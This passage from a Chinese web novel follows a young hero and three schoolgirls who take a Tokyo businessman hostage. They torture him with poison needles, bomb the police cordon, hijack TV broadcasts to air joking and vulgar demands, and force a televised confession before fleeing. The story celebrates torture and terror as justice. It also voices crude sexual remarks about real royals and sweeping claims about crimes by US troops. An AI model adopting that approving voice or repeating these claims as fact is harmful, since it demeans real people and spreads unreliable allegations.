图片载入中

女校先生8

特大字】 【大字】 【中字】 【小字

第六章◆惊爆警视厅

我手上一弹,将大友正男腰间的手枪结构破坏,再随手抛出一个小球,正巧落在了大友正男的鼻子前,“噗”的一声过后,小球变成了一团白色的气体,笼罩在大友正男的脸庞上。

大友正男连打几个喷嚏,摇摇晃晃的从地上爬了起来,刚刚醒过来的他,头脑还不怎么清楚,忘记了刚才是怎么一回事,转身就想坐在自己的沙发椅上。

“砰!”因为我的轻轻一踢,沙发椅滑向了另外一边,大友正男一屁股坐在了地板上,痛得他眼泪都流了出来,同时神智也完全的清醒了。

映入大友正男眼帘的,是一男三女四个人,女的都非常漂亮而稚嫩,男的年龄也不大,看上去他们该出现的地方,似乎应该是高中和大学校园,而不是在这里。

“你们……”看到我们都很年轻,大友正男的恐惧感少了许多,他正想板起脸,说几句吓唬我们的话,但眼睛一扫,就扫到了那个倒在地上的男子──他是住吉会派来的保镖,平日里一个打五个都不成问题,可是现在就这么浑身是银针的倒在地上,手枪还落在一旁。

浑身不由自主的打了个寒颤,大友正男的表情立刻变成阿谀的样子,“你们是要钱还是什么?说句话,我没有半点推辞。”

小春恶狠狠的看着他,“大友正男,你一共恶意倒闭了二十一家大小会社,对吗?”

老实说,洋娃娃美少女的恶狠狠态度,不但不吓人,还很可爱,但大友正男一看到她手中摇晃着的银筒,什么念头都不敢有了,只得道:“是的,但我这并不是恶意倒闭,一家会社没有了发展的潜力和能力,作为一个商人,为什么我还要去继续经营它呢?倒闭了后,无论对国家还是纳税人,都是有好处的啊。”

三个少女同时一怒:“狡辩!”

大友正男慌张的道:“我说的都是事实,又怎么成了狡辩呢?”

我捕捉到大友正男眼中一闪而过的轻视,想来他认为眼前的人虽然毒辣,但是终究年少,一点也比不过他的老奸巨猾。

对付这种人,我一向有办法。

思量过后,我从包里摸出了三筒银针,只不过这次表面换成了白色,按钮倒是没变。

拿着我新给的银针,小老婆们一阵迷惑。

我和声解释道:“这次的银针扎在身上,会给人巨大的痛楚,但不会让人昏倒,最适合对付那些说话不老实的人了。”

“哦……”小老婆们心领神会,几乎是同时按动了手中的按钮,大友正男想要躲闪,却抵不过那闪电般的速度,一下子身躯上被同时扎上了三根银针。

这一次的银针和上一次不一样,上一次的扎上就倒,这一次的却是一股巨大的疼痛自伤口处传出,痛得他双腿猛地跪在地上,那种撕心裂肺的疼痛,像是大友正男五岁那年,被父亲用木棒痛打教训一般。

惨叫声不绝于耳,少女们看着他有些可怜,心中又有些不忍了。

我淡然一笑:“大友正男,在商业行为上你虽然没有过错,但是作为一个人,你已经失去了必要的善良人性。针上的毒性会让你的肉体痛苦不堪,但你有没有想过,每次被你恶意倒闭的会社,那些为会社辛苦几十年的职员,内心又是多么的痛苦?失去了工作,又因为恶意倒闭而没有遣散金,他们拿什么去养活自己的妻子和儿女?因为这个原因而悲观绝望乃至自杀的人,不在少数吧?”

少女们听我这么一说,暗自点着头,心中对大友正男的厌恶又再次的加深了许多,要不是千影和绘里阻止,洋娃娃美少女又要将银针调成连发状态,赏给他一次十四支银针了。

“啊……痛!痛死了!”大友正男凄厉的惨叫着,却是还有一丝神智,“救救我!救救我……我什么都愿意去做,我什么都给你们!”

我淡然的丢出一颗药丸,大友正男颤抖着手,赶紧将药丸吞进了嘴里。说来也奇怪,仅仅是半分钟不到,大友正男就停止了惨叫,慢慢的站立起来,将身上的几根银针拔了出来,畏畏缩缩的看着三个少女和我。

我扫向计算机主屏幕,此刻显示在数百米外,有数百个快速移动的红点正从四面八方涌了过来。

“乖乖们,待会儿你们有什么要求都写在纸上,要他对着全东京、全日本的观众念上一遍吧。”我交给小老婆们一个任务道。

“我们要允许摄影机进来吗?”绘里惊愕地问道。

“不用,我这里就可以直接切播到电视信号里,能传出声音,让所有的人都能听见。”

“嗯……好……”少女们都有小魔女的潜质,大眼睛一转,狡黠的笑笑,就在桌上拿起一张纸,边想边写起来。

大友正男看见少女们将银筒放在离他两米之外的桌子上,但因为知道银筒里的银针的威力,他不敢有一丝的动弹。

经过几十年的奋斗和打拼,从一个渔夫儿子成为如今拥有两千多亿日圆的大富豪,大友正男有着别人没有的很多本领,比如出色的眼光就是其中一个。

虽然进到房间里,动手的只是三个美丽的小女生,但是大友正男知道,这个眼前挂着淡淡笑意的少年,才是最为恐怖的人。别的不说,那个住吉会高手连开枪都来不及,就被人用锋利的飞刀刺穿手掌,这是多么的可怕啊──如此手段,总不会是娇滴滴的三个小姑娘干的吧?

正是因为有了这些考虑,大友正男明白,一动手可能的结果是自己将这四个人给制服,但更有可能是自己被直接击杀,下场比刚才还惨。所以,虽然看似脱逃的机会就在眼前,大友正男也不敢动一分一毫。

我不以为然的扫过他大汗淋漓的脸,擡头往计算机屏幕上扫去,屏幕上,前后门都快速的有红点在接近着。

按了一下“Y”键,前后门的门前忽地爆炸开来,威力不算大,正好足以产生一股热浪,卷起周围的门窗和石头,飞扑向想要跑进来的武装特警们。

爆炸声和沈哼声,都清晰的从屏幕的喇叭显现出来,全身穿着防护衣的特警们,因为还没有冲进前后门,所以都没有受伤,最多只是被热浪冲出十几米,震昏当场罢了。

但是这个恰到好处的爆炸,彻底断绝了警察们想要悄悄潜入的希望。这个爆炸可以看作是一次警告,绑架者既然敢在此时引爆埋伏在前后门口的炸弹,那么谁知道里面还有多少炸弹呢?

在事情没有弄清楚之前,用特警的人命去堆积出一条血路来,根本不是大家所希望的。故而,几百个特警将大楼团团的围住,在没有进一步的指令前,谁也不敢妄动。

在现场指挥的,是东京警视厅九大部之一的地域部中,下属的地域总务课课长小林廉良。

小林廉良是一个典型的日本男人,性格坚毅,面目冷漠,做事一丝不苟。作为他的手下,无时无刻都从他如鹰隼的锐利眼光里,感受到莫大的压力。在地域部有一个流传很久的笑话,如果遇到敲不开嘴巴的犯人,只要让他和小林课长待上几个小时,包准什么情报都手到擒来。

今天的案件,在爆炸的一分钟内,就被东京警视厅的卫星给监测到了巨大的黑云,随即他们看到了数百个狼狈的职员,惊慌的从大友大厦里面跑出来,然后是无数恐慌的人迅即撒离。

警视厅的人立刻将监控录像转给了总务部企划课“东京都公安委员会室”。

值班的官员也不敢怠慢,呈给了总务部部长,再由总务部部长根据新宿繁华街头的具体情况,请调了地域部的地域总务课,因为警视厅九部之中,只有警务部和地域部有特别部队,而地域部的总务课下属“游击特别警卫队”,正好擅长这种控制全大厦的恐怖活动。

小林廉良就是这么被命令着,带着自己的“游击特别警卫队”,来到了新宿街头。

在赶来的路途中,小林廉良就接到一个不好的消息,监测卫星根本无法穿透大厦的外表透视里面的情形,原因是受到了不明信号的干扰。他们只是从逃出来的人口中得知,全大厦的人几乎都出来了,但就是最顶楼的人,包括大友正男社长在内的三十三个人,一个都没有跑出来,相信那个所谓的“公理圣战团”,绑架的就是顶楼的那些人了。

这些混蛋,不简单啊!只是看着刚才用爆炸阻止“游击特别警卫队”进入的一幕,小林廉良就皱起了黑浓的眉头。

“接通了吗?”站在数十辆警车的最前面,小林廉良问身后的手下道。

“报告课长,里面的所有电话都被强烈信号干扰,一点接通的迹象都没有。”一个技术人员满头是汗的从车里冒出头来道。

“四周的狙击手到位了吗?”

“课长,已经确认完毕,十八个狙击手都到位了。”

“他们看见什么没有?”

“有两个面对玻璃的房间,肉眼什么都看不见。”

“混账!不是有热能探测仪吗?”

“那个区域有一台很强大的干扰机器,热能探测仪根本无怯探测到任何有生命的迹象。”

“又是干扰器!”小林廉良恼怒得很,用力的一拍身旁警车的车顶,引起一阵巨震,“又能抗拒卫星探测,又能阻止热能探测仪,里面的究竟是何方神圣?难道是美国特工吗?”

“课长,直升机停在一公里之外,他们问要不要前来支持?”一个手下跑过来问道。

“暂时不用。”小林廉良冷然的道,“我们对里面的情况一无所知,别去激怒了绑匪。”

“是!”

“顶楼的设计图呢?怎么还没有来?”烦躁的小林廉良怒吼着道,雄厚的声音震得周围的手下都有些发麻。

另一个手下战战兢兢的道:“这座大楼是十年前完工的,设计图封存很久了,还需要一点时间。”

“时间!时间!”小林廉良大声咆哮着说,“我给你们时间,绑匪会不会给我时间?三十分钟!三十分钟后我见不到设计图,你就给我滚回冲绳去钓鱼。”

手下连辩解都不敢,赶紧一边答应,一边拔腿就往后面跑去。这时,小林廉良手中的通话机响了起来,“课长,‘游击特别警卫队’第一队向您报告,我们在大厦正门的周围用热能探测仪扫瞄后发现,散落着五十二个具有巨大爆炸能量的物体,恐怕每一个能抵得上一颗反导弹火箭炮的威力。”

“课长,‘游击特别警卫队’第二队在后门附近,也发现了二十三个同样巨大威力的地雷或是炸弹,如果一起引爆的话,大友大厦会立刻成为废墟。”

小林廉良脸色铁青一片,事情比他想象的还要严重,“混账东西!难道真是国际恐怖分子进入日本了?”

旁边一个戴眼镜警察悄声道:“课长,要不要我们通知公安部外事第三课?”

“叫他们干什么?”

“他们负责国际恐怖活动啊。”

“放屁!”小林廉良指着他骂道,“你这是向他们承认我们地域部不行,必须要公安部来出头解决吗?滚到一边去,少在这儿乱说话!”

“课……”话音未落,一个优美的声音又在小林廉良的耳边响道。

“干什么?”一个接一个问题的不顺,让小林廉良的口气很不耐烦,转头凶恶的望着那个新来的漂亮女警察,吓得她双腿差点一软。

“外面NHK、TBS、东京电视台、富士电视台……朝日新闻、读卖新闻……二十多家新闻媒体全部围在警戒在线,想要进来采访和探听事实。”

“白痴!给我将他们全堵住!谁放一个进来,我就革他的职!”小林廉良想也不想就拒绝了,作为处理危机事务的警察部门,最讨厌的就是电视台和新闻记者,在他们的嘴中,再完美的营救活动都会被批得一文不值。小林廉良早就继承了前辈的光荣传统和惨痛经验,从来都是一个也不理会。

“课长,课长,来了,来了!”刚才那个负责打电话进去的警察,惊喜的从车上跳了下来,递给小林廉良一个通话器,“歹徒想要和您说话。”

小林廉良看了看通话器,暗地里深吸一口气,尽力让自己的暴躁情绪消失,逐渐恢复了冷漠的面容。

然后,他才拿起通话器,冷然而又严肃的道,“我是东京警视厅地域总务课课长小林廉良,你们已经被团团包围,赶快举起双手给我滚出来!否则我立刻叫人击毙你们这些无法无天的混账!”

小林廉良说话之时,根本没有发现,就在外围叽叽喳喳的那些记者们,在同一时间变了脸色。这时他们自己的耳朵里,不但没有传来对面电视台里面主持人的声音,反而听到了小林廉良的这句话。来现场采访的记者都是老奸巨猾的人,他们赶紧统统闭上了嘴,静静的听着下面的发展。

而听到这一切的不只是他们,还包括所有听电台广播的人、所有坐在电视机前的人。

能看见电视信号的人,现在听见的不是主持人的讲说和探讨,传来的只是清晰的,这位自称警视厅课长小林廉良的声音,就好像他们平日里听着电话一样的清晰。

这一刻,竖起耳朵的不止是警察、主持人、记者们,还有他们这些关心这次重大恐怖事件的寻常人们。

皇天不负有心人,接下来,他们果然听到了自己想听的东西。

一个清脆中带着怪怪金属腔调的女孩子声音,接上了小林廉良的话:“呵呵,小林课长,你似乎忘记了,我们手中还有三十三个人质吧?你要冲进来之前,要不要问问他们亲人的意见?”

“王八蛋!”小林廉良强烈的压制住自己的怒火,“你们到底想要怎么样?”

“我们的要求可多了,你能保证完成吗?”

“只要是合理的要求,我们都可以考虑考虑,但你们要记住了,千万不要伤害人质,否则我第一个冲进来杀了你们……”小林廉良也是谈判老手了,深知一定要在不逼他们狗急跳墙的同时,也要紧紧的压制住对方的气焰,只有这样才能占得先机。

“那太好了!”清脆的声音一本正经的道,“我的第一个要求是:世界和平!”

第七章◆绑匪的要求

小林廉良呆滞中。

在场的警察、记者呆滞中。所有听到这句话的人,都同一时间陷入了呆滞。在这一刻,整个东京乃至大半个日本,一片安静。

“噗……”作为一个普通的会社职员,正在电车里的木村雪子,很有幸作为第一个清醒过来的人,忍不住满腔的笑意,失声笑了出来,也将刚刚喝进嘴巴的酸奶,喷洒在对面的电车玻璃窗上。

“哈哈哈……”几乎所有的人,都在同一刻笑了起来。

真是又好气又好笑。还从来没有见过,有一群凶恶的歹徒在绑架了数十个人质后,提出的要求居然是“世界和平”呢!这不是笑掉人的大牙吗?

他们本身的行为就是极度的不和平,就是对和平的最大损害,却偏偏像一个修道数十年的高僧,在面对着自己数百万信徒时,慈祥而又浑身冒着金光的道:“孩子们,你们一定要和平啊,不要战争,战争不好……”

“砰!”小林廉良再也控制不住自己的怒气,手又重重的砸在车顶上,车顶被砸出了一个深深的凹痕。

“该死的家伙!你是在耍我吗?”他对着话筒大声吼叫道。课长大人的凶狠冷厉语气,让手下们毫不怀疑,只要说话的人出现在他身边,课长大人一定会用牙齿将这个人给咬成碎片。

“谁在耍你了?”话筒那边的人懒洋洋的道,“中东、南美、中非一直在打战,每天要死多少人啊,我希望他们停战不要再打了,难道有错吗?小林课长,你不是说只要是合理的要求,都可以吗?原来你也只是说说而已!你太没有同情心了,我决定不和你说话了。”

“混账!你给我出来!喂……喂?”

“课长,他们已经切断了通话。”小林廉良怒不可遏的痛斥劫匪时,手下的声音传入他的耳朵。

“你们都是干什么吃的?他们想通话就通话,想挂断就挂断?难道绑匪的能力,比整个日本国的精英都还要厉害吗?”小林廉良一向以脾气暴躁着称,这一次骂人也没有留口,倒是让电台和电视机前的观众们听得很是过瘾。

小春懒洋洋的把话筒放在桌子上,“绘里,该你去说几句了,我的还没有写完呢。”绘里放下了手中的笔,娇俏的一笑道:“你这个丫头,平日里最喜欢出风头,现在对着全日本的观众说话,居然还没有兴趣了?!”

在少女们的面前不远处,电视屏幕播放着NHK综合频道,美女主持人和白胡子老爷爷笑得前仆后仰,纷纷在说,这个劫匪应该去提名诺贝尔和平奖。

拿起身边话筒的巨乳美少女,看了看电视里众人的笑容,自然不甘心让小春独自占了风头,脑筋一转之下,顿时有了计较。

“咳咳!小林课长,你还在吗?”绘里打开了话筒,柔声的问道。

在小林廉良和所有观众的耳朵里,这又是一个略带沙哑的女孩子嗓音,只不过同样有略微金属声音的遮挡,让人听不出她的真实腔调。但有一点大家是可以确认的,那就是歹徒又换了个人来。

“我在。你们到底想要什么东西?开出条件来谈一谈吧。”小林廉良不愧是当上课长的人物,短短时间已经再一次调节好自己的心境!

呃,虽然汽车顶上还是多了七、八个大坑。

“你在就太好了。”对面的沙哑声音欢喜的道,“是这样的,最近电视节目中,我看见皇太子妃雅子殿下又消瘦憔悴了很多。雅子殿下身为一个开朗大方的美女外交官,嫁入皇室后就成了这个样子,我觉得太痛心了。

“我强烈要求,皇太子殿下夫妇立刻搬出皇宫,不要和那些死气沈沈的老头子、老太婆们在一起。并且皇太子殿下每天要和皇太子妃殿下性交一次,只有在性生活上得到了满足,女人才会得到滋润,才会像是花朵一样的美丽……”

小林廉良用他那猎鹰般的嗅觉,在听到雅子皇太子妃的名字时,就感觉有一丝不妙,等听到歹徒竟然要求皇太子夫妇搬出皇宫如此大逆不道的要求时,他已经在使劲按通话器的结束通话按钮了,但无论他怎么按,声音还是清楚的从通话器传了出来。

“啪!”正直的小林课长干脆将通话器狠狠的往地上一摔,再用力的踩上几脚,总算掩耳盗铃了一回。

可绑匪的要求,还是继续传送到每一个电视观众和电台听众耳中:“还有,雅子殿下和皇太子殿下结婚七年了,为什么还没有孩子出生?我要求皇太子殿下去不孕不育专科找一下医生。为了我们日本国皇室的未来,皇太子殿下可不能讳疾忌医啊……”

“哈哈哈哈哈……”歹徒刚刚话音落下的一刻,全日本保守估计至少有三百万人差点笑岔了气,其中几十万人还因为爆笑而引发了各种病症,甚至笑昏过去的人也大有人在。

也是在这一刻,日本六大电视台的平均瞬间收视率,猛地飙升到了百分之三十一,创了历史之最。

摔下了通话器,原本以为自己再也不用听歹徒胡说八道的小林廉良,却继续从周围监视器材的车子里,听到歹徒肆无忌惮的说话,这种对皇室明显的猥亵行为,引得刚正严肃的地域总务课课长大人,再也忍不住的往大友大厦跑去。

“课长,不要啊……”

“混账……放开我……我要和他们拼了!”

“请冷静啊……课长……”

一群手下见势不对,赶紧将他给抱住,十几个人连拉带拽,才堪堪把快要怒火攻心的小林廉良给拦住。

开什么玩笑,依照歹徒的布置,只怕小林廉良还没有冲到大厦里,就被炸弹给炸到天上去了,这怎么行?

“拿通话器来,拿通话器来!”小林廉良被人拉住之后,满脸通红,像极了一头暴怒的黑熊,狰狞万分。

下面的警员颤抖着手将通话器拿给小林廉良后,大家都在等着他对歹徒暴怒的吼叫,哪晓得小林廉良竟然语调异常的温和,“好了,女士,请不要再耍我们了,你有什么真正的要求就快点提出来吧,否则东京警视厅是没有空和你们玩的。”

你能想象一头大黑熊温柔的对你说话的情形吗?

在场的警视厅警员就有这种毛骨悚然的感觉,几乎是同时的,大家都往后退了一步,吞了吞唾液:老天,太吓人了?你快让课长清醒吧……

楼上的绘里早就关上了话筒,她看着电视上众人比刚才更夸张的笑场,心中大是满足,一张妖媚的美丽脸庞,笑得是格外的动人。

从电视喇叭里听到小林廉良的喊话,绘里丝毫感觉不到小林课长快要爆发的火气,她又看向了娇美俏皮的少女,“千影,该你?

“好!”少女笑了笑,“刚刚才写完,待会儿我们三人的一起汇总,就可以叫这个家伙宣读了。”她把手中写满字的纸张放在绘里和小春的面前,自己喜盈盈跑到坐在沙发上的我

这儿来,毫不客气的翘臀坐在我的腿上,将话筒打开,“小林课长,刚才真是对不起了,她们只是和你开玩笑的,现在我要说的,才是谈判的重点。”

警视厅的人们松了一口气,心想总算来了个正常的了。

“请讲,你的要求我们尽量满足,但请不要伤害任何一个人质,我重复一遍,如果伤害了一个人质,我们就绝对不妥协。”小林廉良冷厉的威逼着通话器另一头的罪犯。

千影又哪里会被他吓倒,严正的道:“今年三月的时候,美国在冲绳岛的六个驻军士兵,又轮奸了日本国三个十四岁的少女,这等令人发指的事情,为什么隔了两个多月,警方还不将罪犯收押?

“难道美国军队一说话,派出几个阿猫阿狗,就能从我们的监狱中,将侵犯我国少女的强奸犯给提走吗?我们日本国的尊严何在?难道我们如花似玉的少女,就任由美国那群畜生们强奸轮奸个不停吗?政府的那些白痴政客们,难道就只知道去讨好美国,舔美国人的屁股,任意让他们践踏我们大和民族子民的尊严吗?”

“好!”无数的日本人脸上都有了同仇敌忾的神情,他们都神情热切的拼命鼓掌,大肆称赞着这个敢说的女绑匪,东京电视台的白胡子老爷爷,也是不顾自己新闻人的中立形象,拍案而起,竖着大拇指大叫痛快。

随着日本经济的强大,实力的增加,平民们对一直欺诈他们的美国人,早就不喜欢,而这其中最讨厌的,就是那群驻扎在冲绳的美国海军了。

美国海军不但经常在冲绳惹是生非,还经常强奸轮奸当地的少女学生,这种事情每年都会发生十几次,但每次日本警方都无法惩罚他们,这些美国大兵们都是被美军宪兵队给带走,说是在军事法庭上审判,其实也就是走走过场,解除他们的军职,遣送回国罢了。

那些白人、黑人士兵们,不停的欺辱本国的少女们,却连屁事都没有,怎么不令日本人群情激奋?

这一次连小林廉良都脸色阴沈的没有怒斥千影了,因为她说的一点也没错,三月份震惊全日本的美军士兵轮奸冲绳少女案件,警察刚刚将他们从案发地点带回警局,美军的宪兵队就直接冲到警察局,强行带走了六个强奸犯,还因此打伤了围观的二十多个群众,要不是当时的内阁总理小渊惠三极力劝阻民众,恐怕冲绳一个岛的民众,就全得和美军闹起来。

“我们……”千影说着,回头一望我,我怎么会不明白她是忘记了我们的名号,柔声在她耳边道,“公理圣战团。”

“我们‘公理圣战团’宣布,除非你们警方将那六个美国海军陆战队的强奸犯给收押了,否则拒绝进行谈判。”千影轻轻一咬牙,“并且,我们每半个小时会杀掉一名人质,让你们知道我们的决心!”说完,千影毫不犹豫的关闭了话筒,拒绝和他们再说话。

娇美俏皮的少女当然不会真的杀掉人质,不过现在捉弄一下这些不敢得罪美国人的警方,也是一种发泄。毕竟另一个国家的人,在自己的国土上横行霸道,无人敢管,实在是令人气愤的事情!

少女们出身贵族,娇惯之气比常人还要盛一些,说出这等狠话来,也证明了她们的严重不满。

“仅仅说话是没有用的。”我抱着小美人儿道,“乖,去按下‘L’键,让他们看看……乖乖们,记得要捂住耳朵哦。”

“知道了。”千影笑着从我腿上跳下来,迅即按下了键盘上的按键,然后和小春、绘里一样,都立刻捂住了耳朵。

我们的说话,独自坐在另一边的大友正男听得是清清楚楚,脸色无比难看的他,此刻仍旧和她们一样,护住自己的耳朵。

“轰隆隆……”

底下小林廉良正在跟东京警视厅总监汇报情况,震耳欲聋的巨响和震动让他差点一个站不稳,旁边甚至有几个警察还摔倒在地。

他们还算幸运的,不幸运的是包围在前门二十多米处的“游击特别警卫队”们,在前门十米处的这次爆炸,冲击波直接将他们掀上了天空,要不是穿着的防爆服材质好,在落下来的时候充当了护垫的话,仅仅这七、八米的高度,就能将他们摔死。

巨大的蘑菇云腾空而起后,电视上的观众和小林廉良一起,看到了那发生爆炸的地方:原本平滑的空地上,出现了一个至少有十米大小、深不可测的大洞,从中还冒着幽幽白烟。

数百万人齐齐吸了一口冷气。妈呀,这是什么炸弹啊?他们要将地球炸一个窟窿吗?作为现场负责人,小林廉良比寻常人知道得更多一些。

他现在已经转换了频道,和最高长官总监大人的谈话不会被常人听到,故而手中一拿到数据,立刻就黑着脸道:“报告总监大人,现在根据探测仪表示,像是这样的炸弹,在大厦的周围还散布有七十四个。至于大厦内部还有多少,现在还不知道。”

总监是警视厅的最大官员,直接对日本警视厅本厅负责,看着卫星信号转过来的大黑洞景象,再听说这样的炸弹还至少有七十多个,他立刻就觉得气都不够出了。

“小林课长,你继续拖延着绑匪,我马上向警视厅本厅长官报告,在此之前,千万不要激怒他们,他们的请求都要满足,知道吗?”

“明白了,长官!”小林廉良坚定的点头道。

第八章◆顺利出逃

小林廉良和警视厅总监的对话,一字不漏的落入我们的耳中,听得大友正男连仅有的血色都没有了。三个小美人儿有我在身旁,自然是一点也不担心,她们晓得我并不是嗜杀之人,肯定是吓吓他们而已。

可以毫不客气的说,日本人对电子设备的运用和监测,比起美国来,差了不只一、两年的差距。

在这七十多个散落四周的“炸弹”、“地雷”里面,只有刚才拿来吓人的几颗小炸弹,还有现在这颗鸡蛋大小的人间最强炸弹──“天堂”,才是真家伙,其余的全是烟雾弹加上一点热能设备,让日本的探测仪器以为是真的,其实和玩具差不多,丝毫杀人功效都没有。

经过了刚才“天堂”的剧烈爆炸,没有人敢去质疑剩余炸弹的真实性,自然也没有人敢去检验了,如果绑匪一怒之下全部引爆,那就糟糕了。

小林廉良故作镇定的等待着警视厅本厅的命令,“游击特别警卫队”的人,早就退出了大厦三十米以外,手中的枪到处警戒着,却连他们自己都不知道有没有用。

电视和电台里面,因为这难得的安静间隙,大肆的开始了讨论和辩论,针对绑匪三个匪夷所思的要求,大家争论得不亦乐乎。更多的记者蜂拥着跑到了大厦附近,虽然无法越过一百米警戒线,但他们还是将摄影机对准了每一个可以看到的目标。

记者们在街头巷尾,也随机采访了不少知道“大友大厦绑架案”的市民们,出乎当局者们意料的是,虽然他们都认为绑架是严重的犯罪,但超过八成的人认为,三个要求都应该得到满足,这是毫无争议的正确道路。

同样坐在首相官邸的内阁重臣们,无一不啼笑皆非。在这个敏感的时候,警视厅本厅发来的函件,当然就被放在桌上,暂时留着不发。

三个小美人儿要大友正男念的悔过书,现在已经全部写完,她们正在一本正经的删除和修改着,眼看就要完成。

“小兄弟!”大友正男知道现在再不努力一下,待会儿就更没有谈论空间,自从看到地面上的超级大洞后,他再也没有侥幸的心思,于是在一声凄厉的喊叫后,这个黑心的商人跪了下来。

“小兄弟,人活一张脸,我愿意把所有的财产都拿出来,你就饶了我吧!我不要在全日本人的面前丢脸啊!”大友正男原本冷硬的脸庞上,现在满是泪水,看上去似乎有那么一点可怜。

我没有看他,而是转向了小老婆们,“你们认为呢?”

绘里白了白大眼睛,“大友先生,敢做就要敢当,你当初有做出这些丑恶事情的勇气,为什么如今没有承担错误的勇气呢?”

千影蹙眉道:“再说,你只是觉得丢脸,被你害的那些人却是连丢脸的机会都没有了,这个帐又怎么算呢?”

“我愿意加倍补偿他们,那些死伤的又多加几倍!”大友正男此刻表现得像是一个慈善家,“除此之外,我将他们全部雇用,让他们能够重新工作!”

“嗯……你说得好,看来我们没有你想得周到啊。”洋娃娃美少女一阵赞同,赶紧又在纸上多加了几句话,“好了……就这样吧……”

大友正男欲哭无泪的瞧着小春将稿件交给我,心里不住闪着等到脱困之后,一定要报复的念头!现在也只有这个想法,是支持着他没有倒下的支柱了。

我看了一遍,赞许的道:“不错,写得很好,就这么叫他去念吧。”

“耶!”得到我的赞扬,少女们喜笑颜开,将文稿扔给了大友正男。

“一分钟之内看个清楚,如果你敢乱念的话,今天在大友大厦就会上演高空飞人了,我们可是很想看刺激戏目的。”

阎王易见,小鬼难缠。大友正男知道,虽然主事者是那个少年,但这三个美貌无比、气质高雅的少女,也绝对不是一般人家出身。甚至他已经看到三个少女的衣服上绣着的独特家徽,这种东西在日本可不能乱用,只能是那些传统贵族才可以拥有。

不过像是这么出来胡闹,敢惹住吉会罩着的人,三个少女也不会是家族中多么重要的人物,他之后还是有报复的机会。但前提是,他需要将命保住,而保住性命,就需要现在按照这些人的要求做了。

皱着眉头看完这个简直可以说是胡闹的宣言,虽然也知道只要念出纸上的话语,就足以让他大友正男成为全日本的笑柄,但大友正男毕竟是心狠手辣之辈,牙齿一咬,就站了起来。

“等一等。”我阻止了大友正男想要拿话筒的举动,就在大友正男期盼的望着我时,我接下来的话,又让他的心直接跌到十八层地狱,“让他站在笔记本电脑的对面,按下‘S’按键,图像就会直接传送到所有的电视台去。”

小老婆们听着一喜,然而这次不用她们提醒,大友正男自己就走到指定的地方,一脸的决然。

“‘S’键……OK!”绘里按下了按钮,一瞬间,我们眼前NHK、东京电视台屏幕上,立刻出现大友正男的面孔。

“噢,这是……这就是今天中午在电视上出现的,那个擅长恶意倒闭的商人啊!”

“对,就是他!刚才说大友商社我还没有反应过来,原来是他啊!”

大家的纷纷议论声中,大友正男一本正经的宣读起少女们给他写的认罪稿:

“各位日本的父老乡亲、叔叔阿姨、大哥大姐们,我是全日本企业界的罪人大友正男……”

刚开始的几句话就让大家感到寒冷,大友正男都有五十多岁了,就算要认错也不用这么装嫩吧!不过更让人惊叹的还在后面:

“这么多年以来,我为了获得一点点的金钱,恶意倒闭了二十一家会社,给一万八千多名职员造成了无可估量的损失,其中那些自杀的职员们,更显示了我大友正男的猪狗不如、畜生、王八蛋。

“经过‘公理圣战团’各位善良聪明勇敢的团员们的教导,我大友正男强烈的意识到自己的错误。在此,特对全日本民众做出庄严神圣的承诺:被我恶意倒闭的二十一个会社的所有职员,包括已经亡故社员的家属,请都到东京都西新宿的‘大友大厦’来。我将按照你们正常退休五倍到十倍的礼遇金补偿,并对你们鞠躬道歉。

“任何补偿都无法让我的罪孽得到消除,而我的一点点补偿,只是基于对公理和正义的畏惧,对社会责任感的愧疚,从今天开始,我大友正男向大家保证,绝对不再随意恶意倒闭会社,否则叫我天打雷噼,不得好死,死后下十八层地狱,被所有恶鬼折磨。愿人间公理长存,正义永在,永远和平友爱,阿弥陀佛!”

大友正男一番义正严词的认罪稿,让所有的人听得目瞪口呆,搞不清他到底搞的是什么名堂。

但绑匪并没有给他们再多了解的机会,大友正男读完“阿弥陀佛”后,影像和声音信号同时掉断,外面和大厦的接触又再次陷入了中断。

小林廉良乃是多年的老刑警,看完这一幕后,他眉头一皱,心念如闪电般转动着,最后猛地命令道:“大家注意,这可能又是匪徒们的诡计,都给我提高警觉了……设计图还没有到吗?”

“到了。”一个刑警气喘吁吁的从外围递过来一张图纸,小林廉良将它铺在车顶,召集起手下的精兵强将,开始研究。

其实,大家心里的疑惑是越来越深,歹徒这么几次接近于幼稚的把戏,到底有什么企图?他们的真实目的又是什么?这一切的一切,都困扰着警视厅的众位老手,也同时困扰着警视厅、警视厅本厅和内阁的众位大臣。

出了这么大一个丑后,大友正男反而冷静了下来,他恭敬的道:“各位,你们要我做的,我已经做了,现在可以放我离开了吧?”

“你想要离开?”

“你们说了,只要我认罪后,就不杀我的……”大友正男脸上略显惊慌,“况且,你们杀了我,谁去给那些职员赔钱补偿?”

“慌什么慌,我又没有说要杀你,只是问问罢了。”我笑了笑,“这里好像是你的产业吧,那么应该离开的是我们。”

“外面那么多人,你们怎么走?”大友正男疑惑的问道,他问这个可不是因为他心好,而是怕我们将他劫持为人质,掩护我们离开──别刚刚逃出虎穴,却又旋即被误伤,那可就糟糕透顶了。

“怎么走用不着你管,但是大友先生,话你可以随便乱说,但下一次我就不能保证你能活着唿吸了。”我微笑着说完,对小老婆们点点头,“乖乖们,用麻醉针招唿大友先生吧,他累了。”

“咯咯……”随着少女们的娇笑声,大友正男还来不及反对,就被射来的几十支银针给扎满了身上,一声不吭的倒在了窗户前。

五分钟后,负责监测的警员忽然惊唿起来,“小林课长,热能探测仪又失效了,但这次是三十楼看不清楚,不,二十九楼,二十八楼……好快!”小林廉良眼中精光一闪,抢过了一个通话器,“各就各位,各就各位,劫匪很快就要劫持人质出来了,全部给我盯紧了,一只苍蝇都不能放过去。”

“是!”回答他的,是众口一致的响亮声音。

“这回我看你往哪里跑!”小林廉良目光如鹰的望着空洞洞的正门,声音冷得可以掉下来就成为寒冰,“我倒要看看,你们到底是谁?竟敢如此挑战我小林廉良的尊严。”

“四楼……三楼……二楼!”热能探测器不断显示着数字,却在警员报出“二楼”的瞬间,巨变忽起。

大友大厦周围猛然间轰鸣之声不绝于耳,一股股浓厚的黑烟就像是从地狱中冒出一样,不停的往周围飘散着。

短短的一分钟时间,以大厦为圆心的一百米范围内,全部笼罩在黑雾之中,两米之外就看不清任何东西,尖叫声和混乱的脚步声到处都可以听到,但黑雾并不是紧紧的围绕着大厦,而是以极快的速度往四周飘去。

“糟糕!大家不要动!不要慌乱!都不要走动!”小林廉良大唿一声,却根本没有人能听见他的话。

小林廉良旋即跳上了身边的警车车顶,放眼望过去,黑烟如同龙卷风一样,迅速的飘到远方,警车周围已经能看见东西,但一百米开外,却又像刚才的大厦周围一样,笼罩在黑雾里面,双目不可视物。

